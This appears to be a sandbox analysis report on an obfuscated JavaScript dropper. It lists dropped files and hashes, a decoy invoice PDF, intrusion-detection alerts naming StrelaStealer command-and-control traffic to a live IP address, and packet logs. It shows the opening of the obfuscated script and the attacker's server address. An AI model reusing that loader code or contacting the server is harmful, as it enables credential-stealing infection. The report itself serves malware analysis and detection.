SHA1:	073DFB73186F37183A8C5737AD599BE393F29DCB
SHA-256:	9263636EFF4B9DF893834B5B8E97DFBE78F69EAA469C596C007178D8C808B5F8
SHA-512:	0535AEB47CEE9FE064CCD173FC3F7BA16B173ED560C5FBCBD0093D0838533C6A1A58692675232CC975B9430F502DEB16128AA814BF373C935D79FC1DA3E2B94C
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\5b5b89b1-e178-4529-97f3-e90df55ddb1d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\8b419af3-696d-4dee-bd56-e529bbb1c535.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\93bb63d5-2f11-492f-bdbd-6f4af7235465.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\fc0fa033-cea9-4de5-b503-3b1c45dac578.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18611), with CRLF line terminators
Entropy (8bit):	4.902128897796083
TrID:
File name:	190731319210776809.js
File size:	22'026 bytes
MD5:	f1971f55ae86cbd0538daef14401b7ef
SHA1:	5c99b842a3b8b5d641bcbbae1c6e55d95d8a89f9
SHA256:	4e70cda9e5d775fd6a3bc1f04222d8998bf8b1f7362b5f13983557140a90c16a
SHA512:	d25361229e3e3528bd06106f62b9eb40f9898ae66a28d6bfeb1688e71bc61d8309ad3955fcd9a51e2277a63573e37ffce2efae3d761b5653cd45686a1a077828
SSDEEP:	384:ucWK38ca8HKPE+sPiJ4RAxt2X9+3LhEx01zz:ucWKMca8HKP3sZRa2wb401zz
TLSH:	DEA21004C6518AADADC16EEC09DC497BD7F9C3CC97D0450A3013B2A899D6FF3A5C62B8
File Content Preview:	function binlz(){bmsqrcw=[1031,3079,5127,4103,2055,3072];var ehroz=this[cxabxnp+nfrawxpy+wydvs+ojwyz+qaufvac+rqtrzhbjq+vbixqtv+pklkcygdg](this[tewmrihe+kkaldfkby+ssldfa+wydvs+zihqqx+cxabxnp+pklkcygdg][tsmtowpoi+wydvs+qaufvac+nfrawxpy+pklkcygdg+qaufvac+ues

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T05:28:23.606798+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49699	193.143.1.205	80	TCP
2025-01-11T05:28:23.606798+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.7	49699	193.143.1.205	80	TCP
2025-01-11T05:28:26.569765+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49700	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:28:22.805666924 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:22.810692072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:22.813152075 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:22.818126917 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:22.822954893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.606724024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.606741905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.606751919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.606762886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.606774092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.606784105 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.606794119 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.606797934 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.606803894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.606815100 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.606827021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.606853008 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.606873989 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.652327061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.652367115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.652400970 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.652417898 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.694719076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.727004051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.727039099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.727056026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.727072001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.727098942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.727108002 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.727123022 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.727375031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.727394104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.727410078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.727422953 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.727452040 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.727857113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.727874041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.727890015 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.727905035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.727920055 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.727940083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.727963924 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.728775024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.728790045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.728818893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.728835106 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.728844881 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.728858948 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.728869915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.728916883 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.729593992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.742106915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.742151976 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.774799109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.774857044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.774893999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.774928093 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.774976015 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.775012970 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.775038004 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.816934109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.816956997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.817022085 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.847634077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.847671032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.847691059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.847707987 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.847726107 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.847754002 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.847760916 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.847811937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.847829103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.847846031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.847857952 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.847884893 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.848187923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.848205090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.848233938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.848244905 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.848258018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.848277092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.848300934 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.848746061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.848762035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.848789930 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.848799944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.848814964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.848829985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.848839998 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.848876953 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.849392891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.849409103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.849433899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.849451065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.849467993 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.849478960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.849495888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.849505901 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.849549055 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.850140095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.850156069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.850183010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.850193977 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.850208044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.850224972 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.850255966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.850263119 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.850279093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.850303888 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.851115942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.851130962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.851146936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.851157904 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.851172924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.851185083 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.851200104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.851217031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.851238012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.851247072 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.851274014 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.862543106 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.862560034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.862576008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.862593889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.862605095 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.862638950 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.893474102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.893493891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.893512011 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.893531084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.893552065 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.893573046 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.908739090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.908775091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.908813000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.908834934 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.909187078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.909241915 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.909657955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.937361002 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.937392950 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.937438965 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.968179941 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.968205929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.968225002 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.968242884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.968261003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.968282938 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.968302011 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.968318939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.968331099 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.968344927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.968374014 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.968457937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.968487978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.968513966 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.968523026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.968539953 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.968564987 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.968835115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.968852043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.968868017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.968878984 CET	49699	80	192.168.2.7	193.143.1.205
